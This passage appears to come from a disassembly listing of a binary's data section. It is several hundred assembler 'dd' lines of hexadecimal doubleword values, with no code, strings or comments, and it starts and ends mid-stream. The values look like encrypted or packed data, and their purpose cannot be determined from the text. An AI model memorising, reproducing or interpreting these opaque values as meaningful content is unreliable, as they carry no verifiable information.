0F07C1B73h, 44FD6ADFh dd 0F314051Dh, 0C689C444h, 0B24E84CBh, 0ACFC5FBDh, 528C57CAh dd 3114C8DDh, 0CF3BCC09h, 5E128720h, 0BA167DABh, 0AAF49DE9h dd 0DE909772h, 26A7BBCCh, 883C2764h, 7EB993D0h, 0ECDBAECh dd 1C126E55h, 7E3E7A10h, 0C6FFB525h, 25614D28h, 44F2811Ch dd 0B2236FEEh, 27B75833h, 99C09D0h, 0B9A584DCh, 0E3C5F1FCh dd 911EB228h, 0CC6313D9h, 0F94EF5E7h, 59CB8469h, 71E992AEh dd 2CBE8649h, 2B0AC161h, 3340954h, 0E9719D56h, 0E0A1174Eh dd 9214FBE9h, 9784E396h, 0DB2CAB45h, 81BE1F56h, 8772C526h dd 96E86EEh, 0F609DE7Ch, 808666A5h, 0E907E626h, 0F428499Ah dd 0A302DA69h, 4EFFAAD1h, 0B8C1F7FFh, 0BD5C972Eh, 0F404DB6Dh dd 40C96B6Eh, 0FF49DCA2h, 0EE020C41h, 0C148EC88h, 544357A4h dd 1A3F2230h, 2D391E9h, 633B6BD8h, 0FF52D97Bh, 222C8B01h dd 0AD83508Bh, 5A133506h, 980BA92Dh, 778F02B5h, 0C5017965h dd 0F845DC3h, 6CF10B5Eh, 0F1F697C2h, 0F4B84152h, 0EBBEB42Ah dd 0BF5DF079h, 9D647E64h, 5BB2211Dh, 0BA5E8D7h, 238253Dh dd 4C4C195Dh, 0C548E627h, 4C72110h, 7B97B3h, 0AE77C4BAh dd 0D6012B75h, 0DFE98B2Ch, 0BD0062C2h, 26347E4Fh, 167CF498h dd 0E9F43A7Dh, 5CE3C554h, 138DFBBFh, 5B24085h, 31041F55h dd 8099D0B5h, 2D895A07h, 71D858C2h, 1BCCAC80h, 6E4D0D30h dd 4FF747B9h, 13AF826h, 1DBC0540h, 0D8ED650Ch, 0BAC2E1E2h dd 0F12B5471h, 10CDDD5Fh, 3B5B98E6h, 0EE0229ECh, 755E48EFh dd 855FA957h, 8BFA76CBh, 0A0392058h, 9D2C537Ah, 58D05D9Bh dd 5D7E0D54h, 0CD45CA24h, 9CA1F587h, 0EB89FC11h, 97871C89h dd 6A9F5410h, 0FD0CDC3Dh, 618AE14Fh, 0BD13C413h, 865BF298h dd 67042FDh, 0F68C0FEh, 62E411Ch, 0FC401726h, 635729h dd 0E6363305h, 500A2D12h, 8688125h, 0E90B0765h, 0B7F120F1h dd 0F2536614h, 2D45947Ah, 0EBA11F67h, 10BC75A7h, 48ED195h dd 0CBC3885Ah, 187458F8h, 0DDE3E2ADh, 2B66975Bh, 406DCEA0h dd 1804D326h, 0C132DB00h, 31E9554Fh, 0F7F03DFDh, 0CF2882DFh dd 6068B84Ah, 94F0119Fh, 0F51288FEh, 0B45A5B0Bh, 3F34C48Ch dd 60BF0F87h, 891ED965h, 2FA1B0FDh, 0A010F65Ch, 9B00017Bh dd 0C2E28131h, 0C1157274h, 3A64190Ch, 8F543B14h, 0B6646035h dd 7662711Ah, 880D001h, 0D5295D04h, 5498EB5Ah, 619900B9h dd 0C9810DB2h, 0AE4830DBh, 49D11E7Ch, 5BA3E142h, 37774D5h dd 26E574B1h, 2511721Eh, 0E82967C6h, 16C8605Ah, 2DF03603h dd 0E90B0296h, 89E1A264h, 0A75DF9E7h, 6498CDC1h, 3CC15B7Ah dd 70C52871h, 53E6C20h, 0E94CC05Dh, 8EC5D7EDh, 0B16046C9h dd 0D054048h, 26092491h, 75A17E82h, 0C955ACEh, 0EEF56D58h dd 48609A8Eh dd 7A7F8E58h, 0A2215830h, 933DD505h, 4FEC0F35h, 7643023Dh dd 0AE7F7DE5h, 0E11F6E3Eh, 3CE9E487h, 2D0FD378h, 0F9B45FFBh dd 24FD2210h, 35544F5Ah, 0FF16DE5Eh, 60E32638h, 5C835D64h dd 189D4AE1h, 278056Eh, 0E937AA0Bh, 0BBC49318h, 0BC13D117h dd 4967FB80h, 0E9460BF3h, 0D2148C79h, 0C4E60FBDh, 40CAFE2Fh dd 0A18573Eh, 26EA1992h, 30EB3317h, 77C23400h, 0C3382F7Bh dd 0BC6E310Ch, 2A3097C4h, 130C3408h, 7AA7D814h, 0A8C1C07h dd 1D30CE05h, 2E0C120h, 0D09D3506h, 0A168F96Ch, 0EA88213Dh dd 0BF671E7Eh, 0E94CB10h, 0C3809EE8h, 0A526717Ah, 63405849h dd 0C020CF25h, 2714C4EAh, 0CD25E91Bh, 88F5FEF5h, 0F709AA92h dd 0F4A0DDBh, 0B4EB530h, 31CD2948h, 1774140h, 50055495h dd 0F99D2EB5h, 0ACF7486Dh, 534D18CCh, 0D51E15F1h, 0ECC4F44Ch dd 0E3BF013Ch, 0E9EEC89Eh, 0BD519EFFh, 4C11D238h, 0D07BD494h dd 579CFC5h, 89522D69h, 9282AAEAh, 0C5537E5Dh, 29AB9267h dd 49205175h, 4BD89205h, 9657ACA0h, 0C0FA00ADh, 0F78007EFh dd 67902CC2h, 0C2B1E9B0h, 7163DC01h, 142F5161h, 8A8431FCh dd 5CC24025h, 287AC422h, 82F9FA29h, 0B1435F08h, 0B5DFDF05h dd 0B3FC01FBh, 8574B9E5h, 738897B7h, 2B5B06F2h, 6CDAF724h dd 0D440A20Ch, 10730C10h, 52A316Bh, 0FBCE3A8h, 983FDCE1h dd 13B2426Ch, 0B863F097h, 23ED1C20h, 8E2A66FCh, 0EFB2338Bh dd 0B248BA8Ah, 663ABBD0h, 0C6D5CA39h, 5D25506Dh, 599F15D0h dd 7DE950B4h, 931844Dh, 5F270568h, 254A3F18h, 543EF926h dd 0BEEDE427h, 942D81EAh, 40789840h, 0E308658Ch, 0D00C097Fh dd 6D3AEAE9h, 0A91F0FC5h, 0A265EF4Ch, 5388AAF6h, 0A0D005Ch dd 5397925h, 0D72401E3h, 218E012h, 0A0400706h, 826911F3h dd 0CD17297Ch, 78A27FB9h, 13FA66DFh, 0CC39D668h, 78B7E386h dd 7DC02E22h, 9AB28B3h, 4E88740Ch, 1639C9F6h, 1D535BDAh dd 0B21CC08h, 98D55358h, 0E7D929B5h, 83263D7Fh, 5F0EBB6Fh dd 0C6660291h, 74AE37CEh, 0F9607DE2h, 0D0913EB7h, 2F3313BCh dd 16B1BB44h, 0A9907DF2h, 0BA14D920h, 0AD09550h, 707A6368h dd 786BBB80h, 5E432FBAh, 0AF6AC24Bh, 6102B9A9h, 85404201h dd 3A9BA168h, 8FD3BA0Eh, 9601F22Fh, 708325E1h, 8470B13Eh dd 0BE576612h, 5E2ADC1h, 0FBC018AFh, 9A3D2A3Dh, 53A10526h dd 6AB8DD72h, 5EC01219h, 6E6DD958h, 17CF04E4h, 1BD413B6h dd 165E4C43h, 5E7E13CAh, 55B00B47h, 943F15E5h, 3C92EEBh dd 173D38BDh, 5C90D20Dh, 0C1FE12E2h, 7FFABEA9h, 9B49F639h dd 0E141B22Bh, 0D8C5B6B3h, 4EE9DEC0h, 0BA63138Fh, 0EE3EDB71h dd 515B6600h, 50BDE798h, 966EFA4Bh, 84BB00EDh, 1138229h dd 32BDDD5Bh, 0A1CCEF92h, 22345E54h, 2E7521A0h, 131B62E2h dd 3AC7570Eh, 0EFE95304h, 9989CAE0h, 0ED7DC9BBh, 15CC2553h dd 92090B21h, 0E1ED0151h, 2055794Eh, 1012BD82h, 0D7AA1985h dd 3B83C180h, 126D78B8h, 588349E9h, 5F5EF229h, 0BC14B558h dd 3DCFB535h, 8505D826h, 0AFD26FE2h, 50E77F44h, 86E9B730h dd 18F6B401h, 3DB11389h, 206BE80h, 9508415h, 35405EF7h dd 4C3B04CDh, 1B7F7979h, 25678D26h, 61E12112h, 0C0DDCCAh dd 0B966A479h, 0FF4D6207h, 5FB94142h, 0E277AFC2h, 0AC1EC381h dd 397E5E0Bh, 413968C1h, 0B544AD2Ah, 1D182AE6h, 0E6BA8002h dd 6DB32F04h, 0B280D2F7h, 514CD015h, 617E9892h, 7E02EBADh dd 66555539h, 0CB2CFFEh, 6E0531E9h, 5FEC0F35h, 974D56CAh dd 0BB755CB3h, 2558C83Bh, 0C6D5C03h, 0E95CF753h, 558D995Fh dd 9130C659h, 0D2618A02h, 0E0E04527h, 4A1A7C8Ah, 884F7D33h dd 540BBF15h, 829A56CCh, 70584E71h, 204110C0h, 23C7A3Bh dd 27F830EDh, 0F0E0F5A0h, 68B7D8C9h, 831B043Eh, 966853DAh dd 1F13C2B9h, 0C6AC0D63h, 543E140Bh, 0D109FC74h, 685280EDh dd 187DF87Fh, 6258C521h, 5625D42Fh, 9AB8F0DBh, 4AFB26B7h dd 17C143FAh, 0DDFC1684h, 5E75FAB4h, 0BCD28AAh, 7C4DF26Ah dd 38959104h, 0AFB953EAh, 0E868C104h, 176794FEh, 5378AFC3h dd 12AB4B68h, 0B68DFE0Ch, 9F5CB1F0h, 0DD09CFDBh, 207725Eh dd 0A868ADCAh, 39C05731h, 0C2E10F54h, 2534DB5Dh, 0E93E8D9Eh dd 33254A1Fh, 0E691B281h, 0D7684550h, 35F7C926h, 7E2DD17Eh dd 7041D272h, 4607643Eh, 0F7098AB0h, 9052FCh, 4344E208h dd 0E9451678h, 5F204B2Eh, 0F927D17Ch, 34660AEh, 0E9A04464h dd 0B00B7C86h, 5410E92Bh, 11D62548h, 4174B5Ch, 0BE58510Ah dd 9C4062CBh, 0C5937468h, 0BF97A0E5h, 0C3E09F89h, 10F4D2F1h dd 45138FFCh, 233E2E2h, 0F34EE608h, 0D6BDF0Dh, 0C906CE2h dd 58BA83E9h, 2E6EB738h, 0EB143DFDh, 0DD680C46h, 0F5F87D1Ah dd 0C1D1F703h, 0F5CD60E5h, 30330E09h, 1EAF5D31h, 7735DB27h dd 0AFE9A44Eh, 3455D333h, 0A744AFB0h, 69E9C216h, 81C1A820h dd 0D6B3AE17h, 0A5B5845Eh, 0D964AF05h, 0F9DAC295h, 65C0F157h dd 12598156h, 10137296h, 5A25FC5Eh, 4AE6D978h, 6AC73050h dd 54072CE8h, 52F70EEBh, 502A68B1h, 18CBE66Fh, 0E1CF9363h dd 6A7B27A4h, 23D955E3h, 0F129D4D3h, 4296EFB8h, 124B003Eh dd 0F6812E20h, 38661441h, 0DF058540h, 0B45FD817h, 111F18EAh dd 0E6815A87h, 4F3257D5h, 12C11882h, 0E27D0B30h, 80A05278h dd 82BF9BB2h, 30F8827Fh, 64720CEAh, 0A0BE426h, 6463902h dd 15AEC003h, 22D22735h, 0F295DC78h, 410B837Fh, 0F93B170Ch dd 65FAE41Fh, 50AA001Ch, 81167873h, 6E65E504h, 8CC43DFAh dd 7BFEBA80h, 0C01600Ah, 47B9CE7Ah, 3BBE2955h, 7B98AC81h dd 0F66E2E71h, 3CB1C80h, 0E3089466h, 25D32FD2h, 32E4D6B4h dd 0C2145FE9h, 2E6E5E03h, 8014B24Ah, 5F771173h, 11AD00Eh dd 0D678A816h, 833E1CEBh, 55F6E984h, 0EF09FB75h, 5DACE3C4h dd 178C730h, 0C937F739h, 0E07348B6h, 954F9D68h, 5B2DFE98h dd 1B352528h, 4B5796BDh, 53430367h, 2C135B7h, 9EA72228h dd 1753C5CCh, 2F63ECEEh, 32DE5FD0h, 0CC208A0h, 80D87CE0h dd 267EEEC0h, 26B5901Ch, 67B023B6h, 6EE09151h, 0C94D343Ch dd 0BE5F070Bh, 0C2528427h, 475C2D1Eh, 4DC7310Eh, 0C44008F8h dd 5A487466h, 0B174AC5Eh, 5C02AE56h, 7AEF3DE0h, 68755204h dd 3BBC2753h, 2932A2C6h, 5B1A1h, 0B1065A68h, 0D452BC5Eh dd 0D2C2D860h, 340CE20Ch, 3FBAFCE9h, 0BA314E66h, 93D86C51h dd 14695A04h, 0EA186DFCh, 729A4406h, 1009953Fh, 0B806A5D2h dd 4A4D2F31h, 0F0250CB0h, 4E5F4462h, 22ABB57h, 3CD7736Bh dd 0CF012EFBh, 0E3F51830h, 0AF05EF0h, 0E0A84E4Eh, 906674C5h dd 2EEC0F1h, 97E6D03Dh, 62FF7DBAh, 81AB88FCh, 0E9C8BB57h dd 7E35A2F3h, 2027B17Fh, 7528265Ch, 9D209D03h, 142590D9h dd 0D47A420Ah, 857D8205h, 0B904FB54h, 8DAFB4DCh, 0F883E6Dh dd 397294EEh, 36EA80DBh, 7A2F9750h, 2E30F158h, 257808A1h dd 0B6285E18h, 7F64377Eh, 0E08FA39h, 40E4C889h, 25E8E45Eh dd 4DA0761Eh, 421FA6CDh, 3E479C2Fh, 2BA7402h, 5D224FE9h dd 669509C6h, 0B2E5BDFCh, 44B122ADh, 38205DF5h, 7F0B08E0h dd 0C705BE98h, 86EA3FAAh, 0E99C88FAh, 2FC0E44Bh, 270569BDh dd 1B7D5954h, 0FA9CB049h, 0E9A616ABh, 3138A01Dh, 9AA7F6A0h dd 11BBF80h, 21720E75h, 0CF875FFEh, 0F7E095FEh, 0DD12D76Ah dd 0EE63F803h, 0D40C1D65h dd 95F8B23h, 53829C7Eh, 0D7431F68h, 52167F6Dh, 1C191405h dd 2791E025h, 8C50386Eh, 2D685FFBh, 46665152h, 10DDBE34h dd 5B20B0AFh, 4AF43164h, 24F822B4h, 3B2AE748h, 0B9FE0325h dd 0E64C8C09h, 660A1E11h, 44AC39h, 65F4340Eh, 258EBC1h dd 6D3F0198h, 8AE9232Ah, 0F4069F73h, 645E801Ch, 1943E507h dd 53C50121h, 0AB5E800h, 96414F8Ch, 0A1E8C676h, 7F9C6814h dd 16508242h, 0E37E6023h, 5B9AF2CBh, 4058E37Ah, 5D024B98h dd 6DE93028h, 4FED2FCh, 5ED01EC3h, 4BADB929h, 0C01A4E1h dd 9CA4B3E9h, 2481647h, 0B0474F82h, 0F0F5BCC0h, 63D15902h dd 46B86CE9h, 7ABD904Bh, 982AB958h, 45748756h, 0DA5BE73Fh dd 0DAD60AA1h, 18380403h, 0FA215673h, 9092BAD0h, 6F87669h dd 951447CEh, 4C0B0C72h, 0F50AD17h, 0B323A45Ah, 7D0E28C6h dd 2C15F8B5h, 70EFF301h, 9801C9C3h, 0DA31959Fh, 6CAC895Bh dd 0E956044Eh, 68AD913Dh, 0EF356E49h, 0B0ACF484h, 6812605Fh dd 0D19D2A30h, 0D4C2C0B5h, 2B4F6661h, 84065A9h, 543225E9h dd 0B84CDFDEh, 0DF7E1D9Ah, 5920C62Ch, 0F0286EE0h, 0E92C072Dh dd 5A84E908h, 80FBCA87h, 0A215CF22h, 8BBD032Eh, 31FC5D01h dd 3B755FFDh, 0D922880h, 7FD25B0Fh, 0B14F2090h, 0F1EFB824h dd 31D6001Ch, 2A4F034Dh, 1CFD7F80h, 813B003Ch, 1D093EF1h dd 0CD123153h, 644E0E9h, 0E501D3F7h, 7E1F7Ah, 4E587B53h dd 1220BC37h, 2407D5F7h, 0AD967D6Dh, 532B892h, 9738A1BAh dd 7E80EF3Dh, 0BB1DBC2Fh, 3F4E873Ah, 5A45862Bh, 0FE4A4725h dd 0B9ED0016h, 90F6D4Ch, 5ACF2D0h, 0B6CB2F87h, 5806EF00h dd 952955D2h, 881E5F0h, 0A7C86F5Ah, 956770E7h, 647259FEh dd 845E4B6Eh, 3070FFE0h, 0D3CF29E9h, 1E95BC0Eh, 28C0B1F9h dd 0C9FE5BD9h, 0F8E93980h, 2CF6C1BCh, 13AE98EBh, 0EFEA4109h dd 82DD3FF9h, 3A95F7BAh, 25A47806h, 365EE0C2h, 0F4996BEFh dd 9DF6254Ah, 2E4AEC2h, 0D155C5B1h, 0AD088C48h, 0DA4C3030h dd 0DB5C2589h, 2B896BFh, 50570C51h, 782735Dh, 0FB171BE9h dd 0E6413275h, 63681345h, 2EA26335h, 5E35EFACh, 77FD4AD9h dd 4B4A0B33h, 52409CF3h, 7816CEB9h, 6F11764h, 0BA57C220h dd 6061B499h, 7170685Ch, 0F4A88AA8h, 0F3AEDC83h, 0F9F78050h dd 0E1490E68h, 0CA40EC3Bh, 2FB79D11h, 8FA02F84h, 55230E25h dd 0E6A02EB8h, 0D52D73Fh, 7F1B1C0Bh, 234DE41h, 0F572807Ch dd 0AF1EE05Dh, 0D85D81F1h, 5197E3E6h, 450A8310h, 0C044CBCh dd 0DEB48539h, 0B24B49EAh, 6D80D262h, 48B913C5h, 0FCECE24Fh dd 0E8C82116h, 5D53F220h, 5B16ADCDh, 0DEE1471h, 8F942272h dd 6B7CA204h, 49A5B053h, 5B126492h, 0FC1EC601h, 4F9A1041h dd 506ECE29h, 86499A69h, 0C9F4881Dh, 2FD93B05h, 59E05B8Bh dd 70B9822Ch, 0E07C482Fh, 5AFED83h, 0FF55C1F8h, 9D6D6ADh dd 1C47C5C0h, 535024Ah, 1BCC4208h, 0DA44CC0h, 13BA894Ah dd 7A3F176h, 25155A0Ah, 68ECC98Dh, 0A3CADE24h, 0F2A70B2Bh dd 7DEE2FBEh, 0F23B4546h, 98653E30h, 0EB1B0A86h, 96431EA6h dd 0D2F4C9D4h, 5FAA3A5Dh, 7A7FDD62h, 0F7801CB6h, 0F6E7CE12h dd 802C7C0h, 8BB55BFAh, 7DB1422Ch, 300ED9E9h, 0D590CB09h dd 0F5829BE8h, 2DE16333h, 737DC2A6h, 0CF680967h, 0E66BDEF6h dd 0DE55507Eh, 971000CFh, 0EC18167h, 8096C29h, 8E59CD89h dd 5D0553C5h, 9DFF8FF5h, 0E8ADEF9Ah, 4B2D27F2h, 5A77D107h dd 53D634h, 810A4301h, 9F1C60CAh, 808F0F5Ch, 0F020E288h dd 7AB9D89h, 127FAD4h, 0E18159DAh, 3E8D3AE4h, 79A4416Eh dd 0A73480B7h, 0D0F6562Ch, 19BC71F6h, 5A440501h, 0D0820382h dd 55E61662h, 0DDE98A40h, 6056925Ah, 25008BACh, 539C36C1h dd 78C9D8F7h, 0DDAE6268h, 43D1F01Bh, 4957616h, 529069D4h dd 0F25A38A8h, 64FEB524h, 37E4BE4Dh, 0FF905968h, 0C5275B48h dd 26EA59F6h, 1F355602h, 0FEE5F002h, 0F517BD3Ch, 9FFBD027h dd 41601118h, 11097F82h, 4EABE0F5h, 50511753h, 54113B0h dd 8D605E36h, 0B2406BF2h, 427828FDh, 958DB05Ah, 0EBC099D9h dd 5CC0707Fh, 2A108608h, 87924430h, 0B88B9DB6h, 62617609h dd 54004755h, 0C319B7E9h, 0E281420Ch, 17657288h, 75BB6812h dd 0C90582B3h, 8451F409h, 0A6CBEB3Dh, 37BB4B00h, 0E9D7319Ah dd 5907FB4Eh, 6C74C521h, 0B55F36B0h, 68859365h, 502241E5h dd 0CE305F5Bh, 0F362051Eh, 0F87E6E2h, 13C4B252h, 2BBC90EBh dd 8036ACD3h, 0C0E9505Fh, 0AF279199h, 58313A65h, 8C6FC214h dd 0BF5BB6F9h, 26610C39h, 79E27BAFh, 4360607Fh, 90D3BD62h dd 52E0923Fh, 0F5DC600h, 48E2C140h, 0EE4AC303h, 125C076Ch dd 47E77AE9h, 274E41AFh, 6F4A5077h, 62B761FCh, 0B4070EAFh dd 875B1611h, 88ABA735h, 0E91293BFh, 3040C46Fh, 59685808h dd 808BB2Eh, 45177BC0h, 30C729ABh, 6E17E807h, 0EC0138B2h dd 5C7F7E55h, 68105F67h, 4FF6B0Fh, 41F43E17h, 0E74A02F7h dd 5FFD013Dh, 42C7D390h, 4F393004h, 0C0EA6280h, 86682815h dd 649C4550h, 69A33E0Fh, 373382B9h, 9980554Dh, 294CDE03h dd 8301589Dh, 0F562A908h, 45B933Eh, 0AD21AA07h, 0B5E2755Bh dd 81F10983h, 0E9C1F2C8h, 976A5052h, 34DEBB30h, 0CABBC56Fh dd 6DA8AB94h, 0AAEC7B12h, 6A92F037h, 5D05C91Fh, 8E32D74h dd 20D47748h, 2B069302h, 30095454h, 0E0E90506h, 71369869h dd 0AA2164C1h, 0D18092F2h, 0BB534AEAh, 8060AF8h, 2E3C17Eh dd 1C70EF06h, 0C76A17FDh, 5F60F0B4h, 4B41B34Fh, 445A50BAh dd 279EF03Bh, 0A8135B30h, 0FBEF325Eh, 82D20820h, 802BC0F7h dd 2E8A90F6h, 0C01B8725h, 1A7C7E57h, 1BEA2988h, 249E92E9h dd 35BD87F4h, 0BA8AFBEEh, 0E0D15C89h, 3BB5BAF8h, 5707F169h dd 691ADABFh, 1F7C7358h, 7C084148h, 45B25D4Fh, 59332078h dd 7F67DCF9h, 0DA5A237Ah, 0DF76BA1Ah, 5CBF2DC5h, 766813AAh dd 3BE9D042h, 246752Ch, 0DEF04E27h, 36F3EB2Eh, 0AF27882Ah dd 24F2D9DEh, 0C8010DBCh, 836C6565h, 0A91B1ACAh, 2007F97Ah dd 1C89AA6h, 8844E2EEh, 620C832Ch, 68386143h, 3408B89Ch dd 59140B0Ch, 7752FDD6h, 0C0EEE287h, 0EAB83E19h, 0D8310BC5h dd 0B4E9819Ch, 5D93BA96h, 0B83DBAF6h, 4A137E7Ch, 48F3CF1Ch dd 1B0E4A96h, 3058802Dh, 0EBC6898Eh, 5638F07Bh, 0BF685209h dd 254F4609h, 0C346298Bh, 45631C40h, 94B93E0Fh, 6C8EFFD3h dd 42DBE90Ch, 0ECA0520Ah, 0D2024C0Dh, 59CA890Fh, 0A03A6356h dd 9D49830Ah, 0A1013C71h, 0E934C977h, 84D955C2h, 16DD5794h dd 5761F94Eh, 7C0D293Ah, 43D2040Ch, 3EF11B3Bh, 9CCB0704h dd 2091F84Ah, 91D19FFDh, 4A9F6861h, 3144CD88h, 0D507D120h dd 2D806F7Ch, 0C0EB7242h, 816A121Bh, 0FE1F3E5Fh, 0C93FD3A8h dd 0E8F1177Dh, 0C90D27EAh, 0E92D8AECh, 581D8586h, 830463BBh dd 73538E27h, 0FA56C4FCh, 0FF417A9Dh, 286B38B4h, 0C7409FC2h dd 5EA04C1h, 0BA486568h, 0F5A8DA32h, 5663AFB0h, 0B9284C01h dd 7EB7C330h, 0BC4E0328h, 15079303h, 0E1600CC1h, 9E11150Eh dd 45EB1719h, 0EEDCF110h, 0C4FB7BCDh, 1180C140h, 11F5CE8h dd 938E53D1h, 0A94D222h, 0C2FCC2ABh, 2EFC000h, 81B40750h dd 7CEC780h, 757D5FE7h, 0FB429452h, 766C0A12h, 0DA702EE9h dd 0B177CB15h, 872D540Eh, 0C900CC25h, 0AC28AFBDh, 2E554324h dd 1D0616ACh, 9CB05F30h dword_4EE94C dd 0F8880E8Ch, 16F5C54Bh, 40309893h, 7A985725h, 0B87CCD9Ah dd 0DBA7F0Fh, 6613E140h, 1C704DB9h, 706C008h, 2143D035h dd 0F7054E02h, 400E10E4h, 1D1FFD1Bh, 0BC012EE9h, 4F08EA28h dd 0E529BB58h, 9365B9F5h, 0E134E13Eh, 3BF7753Eh, 0A82AC8B1h dd 0B68826Fh, 823B5163h, 26CA7747h, 2C9A0155h, 146B5E46h dd 7A01E823h, 0E9133162h, 81137AE2h, 2D220D07h, 7EBDF7DEh dd 881CEF20h, 0D5DE51EAh, 14FC1C8Dh, 852DDE43h, 0A2C07FECh dd 2511E72Bh, 0D7548400h, 0DB50514h, 5E34E333h, 0E9F11209h dd 55B74B98h, 4A255252h, 0D52218B1h, 8C4C97A1h, 0EF12D4DFh dd 75A1649h, 0BAFC11FFh, 2C261C04h, 0BAD81D73h, 85885E7Dh dd 5CED884Dh, 1360E695h, 0F8412E68h, 8C01B851h, 21C26817h dd 4092B8E9h, 56433B90h, 0F105811Ch, 40BC14C4h, 0B61D7ED5h dd 7118A80Ah, 0FCF8018Bh, 0F500557h, 98C08011h, 6C09845Fh dd 5FF660E9h, 930B634Dh, 6A4E5E76h, 0E42207D9h, 0C547E27Bh dd 0EE2C50D1h, 4610A018h, 0AAEE61D1h, 6136FE01h, 0F7887FB0h dd 263766F7h, 0C4F09204h, 14548997h, 0B26DFA5Eh, 5E5707E3h dd 0A2D7F75Fh, 3F20959h, 29A36009h, 9F3B00BBh, 0F0794214h dd 0A2C7FCD7h, 0B62E8208h, 846DD52h, 10EBCD32h, 3DC6575Ch dd 17192D00h, 0F0016E9Bh, 5E07A105h, 0EEF48668h, 93359E4Fh dd 26F1A720h, 55E8B701h, 315E5D68h, 4FF700CCh, 0C5158C02h dd 67E8815Bh, 804101A2h, 297B24D7h, 4AA726DCh, 8B8D11Dh dd 0BD0B7945h, 0C42090Ah, 60C93A01h, 0AAB98618h, 1D512672h dd 0E20F8DDh, 0CB89BF16h, 0BAF500BAh, 91BD54Dh, 32E9C312h dd 0CD681C42h, 2EF6C65h, 5CF83F8Eh, 43EEDD09h, 684CED05h dd 80BCE618h, 0F201D74Dh, 895ECB76h, 6AE9E9EEh, 443ABE4h dd 265FE381h, 3801AB1Fh, 0DE45DFE7h, 11641765h, 62AA2DE9h dd 809B3048h, 213C12Fh, 1EE101h, 9A33E930h, 0B20FA292h dd 7756B1FAh, 8F61CAB5h, 4F68C935h, 12D9C210h, 4053D168h dd 2DE31A08h, 85206372h, 44AF9488h, 8A06C328h, 8F64BA9Ch dd 46B9FC82h, 5F212DB2h, 0AA5BEAA4h, 8D0B8C75h, 5F51B2D6h dd 552AA395h, 4F571220h, 6F2BEB58h, 0B232D1Dh, 0D0F6478Eh dd 75685760h, 302F2E26h, 6E8BA55Fh, 21658D0h, 0B303796Dh dd 0FD4026A3h, 8DE1D990h, 373B2508h, 0DDEE5022h, 0D6C2427Dh dd 5FCBE2C5h, 815B3503h, 0C73A58CAh, 74DF8034h, 0E93D2908h dd 25B34A09h, 0D1E951C1h, 4B887FB4h, 12452D68h, 96240453h dd 4F5470EBh, 6B89B1FDh, 0E5852DA6h, 3C8DFF51h, 0B3E3286Bh dd 83E98212h, 0C3801FC0h, 9CCEF072h, 12BF0047h, 2957075Bh dd 0F49FB7Ch, 575C244Eh, 2349FBA8h, 7E5E2DD5h, 2B6E0BC9h dd 2C3E26C5h, 2996F122h, 6934CDAFh, 0E9550B97h, 68536066h dd 134FE15h, 874B5B0Fh, 0A8D2F7D3h, 0D7001C08h, 893D774Eh dd 4B27E9DDh, 97DBE294h, 2C6E7DAFh, 0FC5E58h, 16B8B6F4h dd 9364B496h, 4A0B38C2h, 0EA677D33h, 3B3D6805h, 715113D8h dd 0BB654C11h, 181C7A1Dh, 45B4660Fh, 482C3D24h, 0A75F8902h dd 0F7DA752Fh, 6B73EEC0h, 0CA011795h, 2708EBFEh, 217DB7A9h dd 0E131E904h, 538CF424h, 0F778F24Ah, 681B55F2h, 70DE5BDDh dd 92B61803h, 0D135F680h, 892E0881h, 92B27AC0h, 0ED79F10h dd 0AEEA8059h, 0EC0569C0h, 66027B2h, 37A4448h, 0FEE285CBh dd 438A3C00h, 827F1Ah, 27DF3D50h, 0B207F681h, 4E49A845h dd 0EECE031Fh, 55A09624h, 0B62FA322h, 2D38D6C1h, 0A18752E9h dd 33C8EA03h, 0C3DA349Fh, 2095D158h, 6E9EE523h, 0A12FF55Dh dd 0C30E3F6Fh, 0F750C452h, 0A968EFBh, 0EE6BDC68h, 8918FC69h dd 0A1DC233Ah, 4F740581h, 0ACB84921h, 9B5A186Bh, 6D05965Bh dd 74FF022Dh, 130CAD29h, 8FF6F1ACh, 6AD5EED2h, 6D9E0901h dd 0C6A80DFAh, 74088219h, 0B75792A9h, 4BA924Ah, 322ED240h dd 4B62DDE9h, 2F6F870Ah, 0F34464Dh, 125BB2FAh, 5FE3EC12h dd 3059B505h, 1D20FC6Ah, 18C3535Fh, 7969EFE9h, 29ADA828h dd 761ABFF3h, 53A680FDh, 3064BBh, 0EFBE20B8h, 2945A2A4h dd 2428DE4Bh, 765A9746h, 92CCF209h, 0C9D9717Dh, 47AC5D51h dd 559AAE42h, 5BA0C1CEh, 0D3287D3Eh, 0F00BA03Dh, 0DE7A3C10h dd 0E5312FFh, 0AA37F352h, 0F8828A64h, 12AA0AB7h, 0C40E13EFh dd 31A2FB57h, 662D68C2h, 5E26D84Ch, 0B2CA5D3Eh, 0FDE02EC2h dd 65F620CEh, 9632FD41h, 92E700F4h, 0E90E0566h, 523A2F25h dd 0D3B42048h, 60F02825h, 9D34FAFEh, 96BDC773h, 114140CAh dd 9041AFECh, 1AFFF83Fh, 0D41A8D9Ah, 0B705806h, 0F726540Bh dd 3A5500D8h, 129F514h, 43F9CA81h, 704249B6h, 45C1696Fh dd 0A13A71EFh, 4E42B804h, 7D5DFCC2h, 0AE0D1110h, 94564BDh dd 7F81534h, 0FB5F2AF5h, 0BF4F0B10h, 0D4B14922h, 0B4F99363h dd 8E4FA54Eh, 4A050728h, 0DE19B9FFh, 416228DAh, 99DCD225h dd 4FE495DDh, 0DF969CFEh, 5AE8B901h, 0B42F2A1Eh, 6C02CCF6h dd 69E94FB4h, 0FAE5FABh, 0AD7179E5h, 39C4D2ECh, 507644BAh dd 8244AABEh, 75FB8EFBh, 385BB04h, 7F385EB5h, 4EF5E90Bh dd 81BC0B79h, 79EC57E1h, 0C821F101h, 40C0806h, 8A00447h dd 6DBC905Eh, 18090548h, 205BDE89h, 0B78FEEAEh, 0E9E709FAh dd 655BB4BFh, 9BF9F68Ah, 5B48B122h, 943B1092h, 1565312h dd 4B4D64AAh, 0B210F409h, 39BB1AC0h, 0F42D1F6Ch, 0EB19C2Ah dd 0C6001334h, 0F7885958h, 5201CD93h, 7CE993B2h, 0B8A1133Ah dd 2CE80746h, 0AAC253C0h, 8CF20C57h, 0EA6A513h, 68E31AF0h dd 6F96321Bh, 0CAD0374Bh, 55495900h, 58A56851h, 0C17C796Dh dd 2E85A42h, 7D1E2B4Eh, 1545E55Dh, 23800A31h, 9C83C58h dd 0F8E7E957h, 80B096DDh, 0F24E7ED4h, 0FD294E6Eh, 64BF4F83h dd 0E31112AAh, 0C45D288Dh, 0DB260A12h, 87EE9C1Ch, 4D4E3147h dd 22F08DAh, 268D37AFh, 9E25055h, 0A9EE10C3h, 0D900C07Eh dd 1753C50h, 8B4D0DDh, 